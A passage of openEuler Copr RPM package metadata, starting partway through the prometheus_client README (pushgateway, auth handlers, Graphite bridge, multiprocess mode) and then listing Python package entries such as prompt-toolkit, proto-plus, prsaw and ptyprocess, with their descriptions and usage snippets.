  push_to_gateway('localhost:9091', job='batchA', registry=registry)
  ```

  A separate registry is used, as the default registry may contain other metrics
  such as those from the Process Collector.

  Pushgateway functions take a grouping key. `push_to_gateway` replaces metrics
  with the same grouping key, `pushadd_to_gateway` only replaces metrics with the
  same name and grouping key and `delete_from_gateway` deletes metrics with the
  given job and grouping key. See the
  [Pushgateway documentation](https://github.com/prometheus/pushgateway/blob/master/README.md)
  for more information.

  `instance_ip_grouping_key` returns a grouping key with the instance label set
  to the host's IP address.



  If the push gateway you are connecting to is protected with HTTP Basic Auth,
  you can use a special handler to set the Authorization header.

  ```python
  from prometheus_client import CollectorRegistry, Gauge, push_to_gateway
  from prometheus_client.exposition import basic_auth_handler

  def my_auth_handler(url, method, timeout, headers, data):
      username = 'foobar'
      password = 'secret123'
      return basic_auth_handler(url, method, timeout, headers, data, username, password)
  registry = CollectorRegistry()
  g = Gauge('job_last_success_unixtime', 'Last time a batch job successfully finished', registry=registry)
  g.set_to_current_time()
  push_to_gateway('localhost:9091', job='batchA', registry=registry, handler=my_auth_handler)
  ```

  TLS Auth is also supported when using the push gateway with a special handler.

  ```python
  from prometheus_client import CollectorRegistry, Gauge, push_to_gateway
  from prometheus_client.exposition import tls_auth_handler


  def my_auth_handler(url, method, timeout, headers, data):
      certfile = 'client-crt.pem'
      keyfile = 'client-key.pem'
      return tls_auth_handler(url, method, timeout, headers, data, certfile, keyfile)

  registry = CollectorRegistry()
  g = Gauge('job_last_success_unixtime', 'Last time a batch job successfully finished', registry=registry)
  g.set_to_current_time()
  push_to_gateway('localhost:9091', job='batchA', registry=registry, handler=my_auth_handler)
  ```



  It is also possible to expose metrics to systems other than Prometheus.
  This allows you to take advantage of Prometheus instrumentation even
  if you are not quite ready to fully transition to Prometheus yet.



  Metrics are pushed over TCP in the Graphite plaintext format.

  ```python
  from prometheus_client.bridge.graphite import GraphiteBridge

  gb = GraphiteBridge(('graphite.your.org', 2003))

  gb.push()

  gb.start(10.0)
  ```

  Graphite [tags](https://grafana.com/blog/2018/01/11/graphite-1.1-teaching-an-old-dog-new-tricks/) are also supported.

  ```python
  from prometheus_client.bridge.graphite import GraphiteBridge

  gb = GraphiteBridge(('graphite.your.org', 2003), tags=True)
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/').inc()
  gb.push()
  ```



  Sometimes it is not possible to directly instrument code, as it is not
  in your control. This requires you to proxy metrics from other systems.

  To do so you need to create a custom collector, for example:

  ```python
  from prometheus_client.core import GaugeMetricFamily, CounterMetricFamily, REGISTRY

  class CustomCollector(object):
      def collect(self):
          yield GaugeMetricFamily('my_gauge', 'Help text', value=7)
          c = CounterMetricFamily('my_counter_total', 'Help text', labels=['foo'])
          c.add_metric(['bar'], 1.7)
          c.add_metric(['baz'], 3.8)
          yield c

  REGISTRY.register(CustomCollector())
  ```

  `SummaryMetricFamily`, `HistogramMetricFamily` and `InfoMetricFamily` work similarly.

  A collector may implement a `describe` method which returns metrics in the same
  format as `collect` (though you don't have to include the samples). This is
  used to predetermine the names of time series a `CollectorRegistry` exposes and
  thus to detect collisions and duplicate registrations.

  Usually custom collectors do not have to implement `describe`. If `describe` is
  not implemented and the CollectorRegistry was created with `auto_describe=True`
  (which is the case for the default registry) then `collect` will be called at
  registration time instead of `describe`. If this could cause problems, either
  implement a proper `describe`, or if that's not practical have `describe`
  return an empty list.




  Prometheus client libraries presume a threaded model, where metrics are shared
  across workers. This doesn't work so well for languages such as Python where
  it's common to have processes rather than threads to handle large workloads.

  To handle this the client library can be put in multiprocess mode.
  This comes with a number of limitations:

  - Registries can not be used as normal, all instantiated metrics are exported
    - Registering metrics to a registry later used by a `MultiProcessCollector`
      may cause duplicate metrics to be exported
  - Custom collectors do not work (e.g. cpu and memory metrics)
  - Info and Enum metrics do not work
  - The pushgateway cannot be used
  - Gauges cannot use the `pid` label
  - Exemplars are not supported

  There's several steps to getting this working:

  **1. Deployment**:

  The `PROMETHEUS_MULTIPROC_DIR` environment variable must be set to a directory
  that the client library can use for metrics. This directory must be wiped
  between process/Gunicorn runs (before startup is recommended).

  This environment variable should be set from a start-up shell script,
  and not directly from Python (otherwise it may not propagate to child processes).

  **2. Metrics collector**:

  The application must initialize a new `CollectorRegistry`, and store the
  multi-process collector inside. It is a best practice to create this registry
  inside the context of a request to avoid metrics registering themselves to a
  collector used by a `MultiProcessCollector`. If a registry with metrics
  registered is used by a `MultiProcessCollector` duplicate metrics may be
  exported, one for multiprocess, and one for the process serving the request.

  ```python
  from prometheus_client import multiprocess
  from prometheus_client import generate_latest, CollectorRegistry, CONTENT_TYPE_LATEST, Counter

  MY_COUNTER = Counter('my_counter', 'Description of my counter')


  def app(environ, start_response):
      registry = CollectorRegistry()
      multiprocess.MultiProcessCollector(registry)
      data = generate_latest(registry)
      status = '200 OK'
      response_headers = [
          ('Content-type', CONTENT_TYPE_LATEST),
          ('Content-Length', str(len(data)))
      ]
      start_response(status, response_headers)
      return iter([data])
  ```

  **3. Gunicorn configuration**:

  The `gunicorn` configuration file needs to include the following function:

  ```python
  from prometheus_client import multiprocess

  def child_exit(server, worker):
      multiprocess.mark_process_dead(worker.pid)
  ```

  **4. Metrics tuning (Gauge)**:

  When `Gauge`s are used in multiprocess applications,
  you must decide how to handle the metrics reported by each process.
  Gauges have several modes they can run in, which can be selected with the `multiprocess_mode` parameter.

  - 'all': Default. Return a timeseries per process (alive or dead), labelled by the process's `pid` (the label is added internally).
  - 'min': Return a single timeseries that is the minimum of the values of all processes (alive or dead).
  - 'max': Return a single timeseries that is the maximum of the values of all processes (alive or dead).
  - 'sum': Return a single timeseries that is the sum of the values of all processes (alive or dead).

  Prepend 'live' to the beginning of the mode to return the same result but only considering living processes
  (e.g., 'liveall, 'livesum', 'livemax', 'livemin').

  ```python
  from prometheus_client import Gauge


  IN_PROGRESS = Gauge("inprogress_requests", "help", multiprocess_mode='livesum')
  ```




  The Python client supports parsing the Prometheus text format.
  This is intended for advanced use cases where you have servers
  exposing Prometheus metrics and need to get them into some other
  system.

  ```python
  from prometheus_client.parser import text_string_to_metric_families
  for family in text_string_to_metric_families(u"my_gauge 1.0\n"):
    for sample in family.samples:
      print("Name: {0} Labels: {1} Value: {2}".format(*sample))
  ```



  * [Releases](https://github.com/prometheus/client_python/releases): The releases page shows the history of the project and acts as a changelog.
  * [PyPI](https://pypi.python.org/pypi/prometheus_client)


pkgId: fc1f7785f6ac8f74f39a59a542ae1f41ed9f8698372006111545146bdb3674a2
name: python-promise
arch: src
version: 2.3
epoch: 0
release: 1
summary: Promises/A+ implementation for Python
url: https://github.com/syrusakbary/promise
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-71f57b95-64e0-499b-a8f0-dbf34c3301e6
location_href: 00004607-python-promise/python-promise-2.3-1.src.rpm
checksum_type: sha256
description:
  This is a implementation of Promises in Python. It is a super set of
  Promises/A+ designed to have readable, performant code and to provide
  just the extensions that are absolutely necessary for using promises in
  Python.
  Its fully compatible with the `Promises/A+
  spec <http://promises-aplus.github.io/promises-spec/>`__
  |travis| |pypi| |coveralls|


pkgId: 8ac18446d1b8b44d16ceabe104b77371921dfe3b1909423e7aff744593275b57
name: python-prompt-toolkit
arch: src
version: 3.0.38
epoch: 0
release: 1
summary: Library for building powerful interactive command lines in Python
url: https://github.com/prompt-toolkit/python-prompt-toolkit
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-92baa4d9-665f-47a9-8184-e7cb4557eba5
location_href: 00004608-python-prompt-toolkit/python-prompt-toolkit-3.0.38-1.src.rpm
checksum_type: sha256
description:
  |Build Status|  |AppVeyor|  |PyPI|  |RTD|  |License|  |Codecov|
  ``prompt_toolkit`` *is a library for building powerful interactive command line applications in Python.*
  Read the `documentation on readthedocs
  <http://python-prompt-toolkit.readthedocs.io/en/stable/>`_.
  NOTICE: prompt_toolkit 3.0
  **************************
  Please notice that this branch is the ``prompt_toolkit`` **3.0** branch. For most
  users, it should be compatible with ``prompt_toolkit`` **2.0**, but it requires at
  least **Python 3.6**. On the plus side, ``prompt_toolkit`` **3.0** is completely type
  annotated and uses asyncio natively.
  Gallery
  *******
  `ptpython <http://github.com/prompt-toolkit/ptpython/>`_ is an interactive
  Python Shell, build on top of ``prompt_toolkit``.
  `More examples <https://python-prompt-toolkit.readthedocs.io/en/stable/pages/gallery.html>`_
  prompt_toolkit features
  ***********************
  ``prompt_toolkit`` could be a replacement for `GNU readline
  <https://tiswww.case.edu/php/chet/readline/rltop.html>`_, but it can be much
  more than that.
  Some features:
  - **Pure Python**.
  - Syntax highlighting of the input while typing. (For instance, with a Pygments lexer.)
  - Multi-line input editing.
  - Advanced code completion.
  - Both Emacs and Vi key bindings. (Similar to readline.)
  - Even some advanced Vi functionality, like named registers and digraphs.
  - Reverse and forward incremental search.
  - Works well with Unicode double width characters. (Chinese input.)
  - Selecting text for copy/paste. (Both Emacs and Vi style.)
  - Support for `bracketed paste <https://cirw.in/blog/bracketed-paste>`_.
  - Mouse support for cursor positioning and scrolling.
  - Auto suggestions. (Like `fish shell <http://fishshell.com/>`_.)
  - Multiple input buffers.
  - No global state.
  - Lightweight, the only dependencies are Pygments and wcwidth.
  - Runs on Linux, OS X, FreeBSD, OpenBSD and Windows systems.
  - And much more...
  Feel free to create tickets for bugs and feature requests, and create pull
  requests if you have nice patches that you would like to share with others.
  Installation
  ************
      pip install prompt_toolkit
  For Conda, do:
      conda install -c https://conda.anaconda.org/conda-forge prompt_toolkit
  About Windows support
  *********************
  ``prompt_toolkit`` is cross platform, and everything that you build on top
  should run fine on both Unix and Windows systems. Windows support is best on
  recent Windows 10 builds, for which the command line window supports vt100
  escape sequences. (If not supported, we fall back to using Win32 APIs for color
  and cursor movements).
  It's worth noting that the implementation is a "best effort of what is
  possible". Both Unix and Windows terminals have their limitations. But in
  general, the Unix experience will still be a little better.
  For Windows, it's recommended to use either `cmder
  <http://cmder.net/>`_ or `conemu <https://conemu.github.io/>`_.
  Getting started
  ***************
  The most simple example of the library would look like this:
      from prompt_toolkit import prompt
      if __name__ == '__main__':
          answer = prompt('Give me some input: ')
          print('You said: %s' % answer)
  For more complex examples, have a look in the ``examples`` directory. All
  examples are chosen to demonstrate only one thing. Also, don't be afraid to
  look at the source code. The implementation of the ``prompt`` function could be
  a good start.
  Philosophy
  **********
  The source code of ``prompt_toolkit`` should be **readable**, **concise** and
  **efficient**. We prefer short functions focusing each on one task and for which
  the input and output types are clearly specified. We mostly prefer composition
  over inheritance, because inheritance can result in too much functionality in
  the same object. We prefer immutable objects where possible (objects don't
  change after initialization). Reusability is important. We absolutely refrain
  from having a changing global state, it should be possible to have multiple
  independent instances of the same code in the same process. The architecture
  should be layered: the lower levels operate on primitive operations and data
  structures giving -- when correctly combined -- all the possible flexibility;
  while at the higher level, there should be a simpler API, ready-to-use and
  sufficient for most use cases. Thinking about algorithms and efficiency is
  important, but avoid premature optimization.
  `Projects using prompt_toolkit <PROJECTS.rst>`_
  ***********************************************
  Special thanks to
  *****************
  - `Pygments <http://pygments.org/>`_: Syntax highlighter.
  - `wcwidth <https://github.com/jquast/wcwidth>`_: Determine columns needed for a wide characters.


pkgId: 6ac78dda24815f75c18e4fcef726836bea3dbe406211b1c528ffc7caa3f669b3
name: python-property-manager
arch: src
version: 3.0
epoch: 0
release: 1
url: https://property-manager.readthedocs.io
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8b08b66d-431e-42fc-9dfe-e4f908ef0cae
location_href: 00010284-python-property-manager/python-property-manager-3.0-1.src.rpm
checksum_type: sha256
summary:
  Useful property variants for Python programming (required properties, writable properties, cached properties, etc)

description:
  The `property-manager` package defines several custom property_ variants for
  Python programming including required properties, writable properties, cached
  properties, etc. It's currently tested on Python 2.7, 3.5, 3.6, 3.7, 3.8 and
  PyPy. For usage instructions please refer to the documentation_.


pkgId: 8e069b9358f5d4c1c76b7e815da5da0e2981df38c90654ba065a1b0a9a4f1d6d
name: python-proto-google-cloud-datastore-v1
arch: src
version: 0.90.4
epoch: 0
release: 1
summary: GRPC library for the Google Cloud Datastore API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2aea8807-9253-4c98-9a37-499974c1aa45
checksum_type: sha256
description:
  gRPC library for Google Cloud Datastore API

  proto-google-cloud-datastore-v1 is the IDL-derived library for the datastore (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/datastore/v1

location_href:
  00010270-python-proto-google-cloud-datastore-v1/python-proto-google-cloud-datastore-v1-0.90.4-1.src.rpm


pkgId: 7bad4eed68af653a2fb7afbba343688d38643f941841aa09b6b95dfe8c7c44bd
name: python-proto-google-cloud-datastore-v1-help
arch: noarch
version: 0.90.4
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-datastore-v1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2aea8807-9253-4c98-9a37-499974c1aa45
rpm_sourcerpm: python-proto-google-cloud-datastore-v1-0.90.4-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Google Cloud Datastore API

  proto-google-cloud-datastore-v1 is the IDL-derived library for the datastore (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/datastore/v1

location_href:
  00010270-python-proto-google-cloud-datastore-v1/python-proto-google-cloud-datastore-v1-help-0.90.4-1.noarch.rpm


pkgId: e44a7182570b843581248cc7bbd84947c224ccd41c812b581342d055bebb8743
name: python-proto-google-cloud-error-reporting-v1beta1
arch: src
version: 0.15.3
epoch: 0
release: 1
summary: GRPC library for the Stackdriver Error Reporting API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0f39276c-8e2e-4088-b09d-e3ef6daeda32
checksum_type: sha256
description:
  gRPC library for Stackdriver Error Reporting API

  proto-google-cloud-error-reporting-v1beta1 is the IDL-derived library for the error-reporting (v1beta1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/devtools/clouderrorreporting/v1beta1

location_href:
  00011948-python-proto-google-cloud-error-reporting-v1beta1/python-proto-google-cloud-error-reporting-v1beta1-0.15.3-1.src.rpm


pkgId: 0b538e9e6900c69fbb8069951ca0f84a7a4ce355c70499381ea7d88d71590846
name: python-proto-google-cloud-error-reporting-v1beta1-help
arch: noarch
version: 0.15.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-error-reporting-v1beta1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0f39276c-8e2e-4088-b09d-e3ef6daeda32
rpm_sourcerpm: python-proto-google-cloud-error-reporting-v1beta1-0.15.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Stackdriver Error Reporting API

  proto-google-cloud-error-reporting-v1beta1 is the IDL-derived library for the error-reporting (v1beta1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/devtools/clouderrorreporting/v1beta1

location_href:
  00011948-python-proto-google-cloud-error-reporting-v1beta1/python-proto-google-cloud-error-reporting-v1beta1-help-0.15.3-1.noarch.rpm


pkgId: ba41809d0d5a32e7d7ac9c64c6e435498644a7020e0d7a8cdf959bd9aec3b8bd
name: python-proto-google-cloud-logging-v2
arch: src
version: 0.91.3
epoch: 0
release: 1
summary: GRPC library for the Stackdriver Logging API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d56b3393-d29a-4027-a2d9-719ab03dcde7
location_href: 00011432-python-proto-google-cloud-logging-v2/python-proto-google-cloud-logging-v2-0.91.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Stackdriver Logging API

  proto-google-cloud-logging-v2 is the IDL-derived library for the logging (v2) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/logging/v2


pkgId: da4679d4d62e77dac0189ea7e63fcce37c55e75b7fcfb9e2651ccbf37f03b8a3
name: python-proto-google-cloud-logging-v2-help
arch: noarch
version: 0.91.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-logging-v2
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d56b3393-d29a-4027-a2d9-719ab03dcde7
rpm_sourcerpm: python-proto-google-cloud-logging-v2-0.91.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Stackdriver Logging API

  proto-google-cloud-logging-v2 is the IDL-derived library for the logging (v2) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/logging/v2

location_href:
  00011432-python-proto-google-cloud-logging-v2/python-proto-google-cloud-logging-v2-help-0.91.3-1.noarch.rpm


pkgId: 6e9f63a1cc3df65fc1ac85adde86a69e4821751f9b0d8f1c8dc1c4dcca6f8edd
name: python-proto-google-cloud-spanner-admin-instance-v1
arch: src
version: 0.15.3
epoch: 0
release: 1
summary: GRPC library for the Cloud Spanner Instance Admin API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-cbca33a1-6bd2-480e-883f-87f600bcffc7
checksum_type: sha256
description:
  gRPC library for Cloud Spanner Instance Admin API

  proto-google-cloud-spanner-admin-instance-v1 is the IDL-derived library for the spanner-admin-instance (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/admin/instance/v1

location_href:
  00012999-python-proto-google-cloud-spanner-admin-instance-v1/python-proto-google-cloud-spanner-admin-instance-v1-0.15.3-1.src.rpm


pkgId: d6d87d740702137a4f741e123b3597433b4fbeec88cb37f1146a20a565585b75
name: python-proto-google-cloud-spanner-admin-instance-v1-help
arch: noarch
version: 0.15.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-spanner-admin-instance-v1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-cbca33a1-6bd2-480e-883f-87f600bcffc7
rpm_sourcerpm: python-proto-google-cloud-spanner-admin-instance-v1-0.15.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Cloud Spanner Instance Admin API

  proto-google-cloud-spanner-admin-instance-v1 is the IDL-derived library for the spanner-admin-instance (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/admin/instance/v1

location_href:
  00012999-python-proto-google-cloud-spanner-admin-instance-v1/python-proto-google-cloud-spanner-admin-instance-v1-help-0.15.3-1.noarch.rpm


pkgId: dd3a0e2b3fd0519b073caaff97f8a2fe9de47cee542060a1930f5a1c93e21756
name: python-proto-plus
arch: src
version: 1.22.2
epoch: 0
release: 1
summary: Beautiful, Pythonic protocol buffers.
url: https://github.com/googleapis/proto-plus-python.git
rpm_license: Apache 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6acd2ab2-7731-4c75-a79e-18aa45664cd9
location_href: 00008990-python-proto-plus/python-proto-plus-1.22.2-1.src.rpm
checksum_type: sha256
description:
  |pypi| |release level| |docs|
      Beautiful, Pythonic protocol buffers.
  This is a wrapper around `protocol buffers`_. Protocol buffers is a
  specification format for APIs, such as those inside Google.
  This library provides protocol buffer message classes and objects that
  largely behave like native Python types.


pkgId: 43e048b94f5fa947ccde66f295993c7d0816bcaa76bcf7c9828cd7bd4d75125d
name: python-protobuf3-to-dict
arch: src
version: 0.1.5
epoch: 0
release: 1
description: UNKNOWN
url: https://github.com/kaporzhu/protobuf-to-dict
rpm_license: Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-15aa0de9-263d-4f43-9d2f-7f42ad1765da
location_href: 00009491-python-protobuf3-to-dict/python-protobuf3-to-dict-0.1.5-1.src.rpm
checksum_type: sha256
summary:
  Ben Hodgson: A teeny Python library for creating Python dicts from protocol buffers and the reverse. Useful as an intermediate step before serialisation (e.g. to JSON). Kapor: upgrade it to PB3 and PY3, rename it to protobuf3-to-dict


pkgId: 98cdbf871624b60c100b06430bc4568429d60064e509ffb2a4e873854dd68898
name: python-proxy_tools
arch: src
version: 0.1.0
epoch: 0
release: 1
summary: Proxy Implementation
url: http://github.com/jtushman/proxy_tools
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d5c21c7b-64bc-474e-bc4a-63c93452c0b5
location_href: 00012520-python-proxy-tools/python-proxy_tools-0.1.0-1.src.rpm
checksum_type: sha256
description:
  I'm just a proxy
  |Build Status|
  Loveingly extracted from `werkzeug`_.  A very useful proxy implementation, that I found to be useful outside
  the web context -- hence the extraction.


pkgId: 6e888a3a6971458ac79c504cbbb1168ac6b833a5f4eccdcd5072d413a21ca820
name: python-prsaw
arch: src
version: 0.4.0
epoch: 0
release: 1
summary: PRSAW, an acronym for `Python Random Stuff API Wrapper`, is a wrapper for the Random Stuff API.
url: https://github.com/CodeWithSwastik/prsaw
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fc67446d-25ec-42ca-9c85-44cdf9abdb80
location_href: 00012141-python-prsaw/python-prsaw-0.4.0-1.src.rpm
checksum_type: sha256
description:
  [![Downloads](https://static.pepy.tech/personalized-badge/prsaw?period=total&units=international_system&left_color=green&right_color=orange&left_text=Downloads)](https://pepy.tech/project/prsaw)

  PRSAW, an acronym for `Python Random Stuff API Wrapper`, is a wrapper for the [Random Stuff API](https://api.pgamerx.com/).
  PyPI: https://pypi.org/project/prsaw/



  You can install released versions of prsaw from the Python Package Index with pip or a similar tool:

  **Stable Release:** `pip install prsaw`<br>
  **Working Version:** `pip install git+https://github.com/CodeWithSwastik/prsaw.git`


  ```python

  from prsaw import RandomStuff


  rs = RandomStuffV2()


  response = rs.get_ai_response("How are you?")
  print(response)


  rs.close()
  ```


  ```python

  from prsaw import RandomStuff


  api_key = "Your API Key"
  rs = RandomStuff(async_mode = True, api_key = api_key)


  joke = await rs.get_joke()
  print(joke)


  await rs.aclose()
  ```


  If you've purchased a premium plan you can pass that as a paramater to RandomStuffV3 or RandomStuffV4
  ```python
  plan = "Can be pro/biz/mega/ultra"
  rs = RandomStuffV4(api_key = api_key, plan=plan)
  ```



  You can specify the server in RandomStuffV4 if you want
  ```python
  server = "Can be primary/backup/unstable"
  rs = RandomStuffV4(api_key = api_key, server=server)
  ```

  You can also pass `dev_name`, `bot_name` and `ai_language` as paramaters to RandomStuffV3 or RandomStuffV4.



  The current list of asynchronous functions available are:

  ```python

  await get_joke(_type)  # Refer to https://api.pgamerx.com/endpoints
  await get_image(_type) # for all the endpoints
  await get_ai_response(msg)


  await aclose() # closes the object
   ```

   
   * Register API key - [Click Here](https://api.pgamerx.com/register)
   * Documentation/Endpoints - [Click Here](https://api.pgamerx.com/endpoints/)


pkgId: 6a824c402b026567e000ce12bf4e4436a1af10ae784f36bfe53b47e77bfc3f0c
name: python-psutil-debuginfo
arch: aarch64
version: 5.9.4
epoch: 0
release: 1
summary: Debug information for package python-psutil
url: https://github.com/giampaolo/psutil
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-64b89d02-674c-4727-9c9a-1504fa9f7f46
rpm_sourcerpm: python-psutil-5.9.4-1.src.rpm
location_href: 00008932-python-psutil/python-psutil-debuginfo-5.9.4-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-psutil.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: c2e5d1486dfe31fdf72f006b646de54e073fc7b5643d372104c6e202c50cb61c
name: python-psutil-debugsource
arch: aarch64
version: 5.9.4
epoch: 0
release: 1
summary: Debug sources for package python-psutil
url: https://github.com/giampaolo/psutil
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-64b89d02-674c-4727-9c9a-1504fa9f7f46
rpm_sourcerpm: python-psutil-5.9.4-1.src.rpm
location_href: 00008932-python-psutil/python-psutil-debugsource-5.9.4-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-psutil.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: ec3befcdff6bc63bf21fdc4da72a7ca824e316d27fd42d805890b7692ef760e1
name: python-psycogreen
arch: src
version: 1.0.2
epoch: 0
release: 1
summary: psycopg2 integration with coroutine libraries
url: https://github.com/psycopg/psycogreen/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1ddc710b-2731-4117-8ad2-fb676cea2533
location_href: 00004610-python-psycogreen/python-psycogreen-1.0.2-1.src.rpm
checksum_type: sha256
description:
  The `psycogreen`_ package enables psycopg2 to work with coroutine libraries,
  using asynchronous calls internally but offering a blocking interface so that
  regular code can run unmodified.
  `Psycopg`_ offers `coroutines support`__ since release 2.2. Because the main
  module is a C extension it cannot be monkey-patched to become
  coroutine-friendly. Instead it exposes `a hook`__ that coroutine libraries can
  use to install a function integrating with their event scheduler. Psycopg will
  call the function whenever it executes a libpq call that may block.
  `psycogreen` is a collection of "wait callbacks" useful to integrate Psycopg
  with different coroutine libraries.


pkgId: d8c89ed1aa3d34cc52d7df4e7796934275fdab55ad6b4a9644f7aec5551bd1d0
name: python-psycopg2-pool
arch: src
version: 1.1
epoch: 0
release: 1
summary: Proper pooling of psycopg2 connections
url: https://github.com/Changaco/psycopg2-pool
rpm_license: LGPL3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-defba19b-0b17-4747-ac29-4fdf515257ca
location_href: 00012595-python-psycopg2-pool/python-psycopg2-pool-1.1-1.src.rpm
checksum_type: sha256
description:
  See the documentation at <https://psycopg2-pool.readthedocs.io/>.





  - [Fixes the discarding of extraneous connections](https://github.com/Changaco/psycopg2-pool/pull/1)
  - [Fixes `ThreadSafeConnectionPool.__slots__`](https://github.com/Changaco/psycopg2-pool/commit/0145f44efc21a2e1ec078c6d29a4649f9978380f)



  Initial release.


pkgId: 14a4976af2be565a245a93e20ba8dc1a527247f5d3733901d48582a6f6b659c8
name: python-ptyprocess
arch: src
version: 0.7.0
epoch: 0
release: 1
summary: Run a subprocess in a pseudo terminal
url: https://github.com/pexpect/ptyprocess
rpm_license: ISC License (ISCL)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-66c16057-141c-4153-91db-879d5cfb52e5
location_href: 00008974-python-ptyprocess/python-ptyprocess-0.7.0-1.src.rpm
checksum_type: sha256
description:
  Launch a subprocess in a pseudo terminal (pty), and interact with both the
  process and its pty.

  Sometimes, piping stdin and stdout is not enough. There might be a password
  prompt that doesn't read from stdin, output that changes when it's going to a
  pipe rather than a terminal, or curses-style interfaces that rely on a terminal.
  If you need to automate these things, running the process in a pseudo terminal
  (pty) is the answer.

  Interface::

      p = PtyProcessUnicode.spawn(['python'])
      p.read(20)
      p.write('6+6\n')
      p.read(20)


pkgId: 7b6da35e40d41816d469114be10ec24eef59a6f08c4d72765c87137ef3eaa4c7
name: python-public
arch: src
version: 2020.12.3
epoch: 0
release: 1
summary: replace __all__ with @public.add decorator
url: https://github.com/andrewp-as-is/public.py
rpm_license: Unlicense
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-bbd0d06f-1e0b-4582-8966-5c458e9817d7
location_href: 00013028-python-public/python-public-2020.12.3-1.src.rpm
checksum_type: sha256
description:
  <!--
  https://readme42.com
  -->


  [![](https://img.shields.io/pypi/v/public.svg?maxAge=3600)](https://pypi.org/project/public/)
  [![](https://img.shields.io/badge/License-Unlicense-blue.svg?longCache=True)](https://unlicense.org/)


  ```bash
  $ [sudo] pip install public
  ```


  +   replace [`__all__`](https://stackoverflow.com/questions/44834/can-someone-explain-all-in-python) with `@public.add` decorator


  before
  ```python
  __all__ = ["func"]

  def func():
  ```

  after
  ```python
  import public

  @public.add
  def func():
  ```


  ```python
  >>> import public
  >>> @public.add
      def func(): pass

  >>> @public.add
      class Cls: pass

  >>> __all__
  ['Cls','func']

  >>> public.add("name")
  >>> public.add(*["name1","name2"])

  >>> __all__
  ['Cls','func','name','name1','name2']
  ```


  +   [Importing * From a Package. Python documentation](https://docs.python.org/3/tutorial/modules.html#importing-from-a-package)
  +   [Can someone explain __all__ in Python? Stackoverflow](https://stackoverflow.com/questions/44834/can-someone-explain-all-in-python)

  <p align="center">
      <a href="https://readme42.com/">readme42.com</a>
  </p>


pkgId: b8486de50b6dcc07de708f062c9b9efe207f61e50a14fff5fdfa5e280bca2d56
name: python-publication
arch: src
version: 0.0.3
epoch: 0
release: 1
url: https://github.com/glyph/publication
rpm_license: MIT License
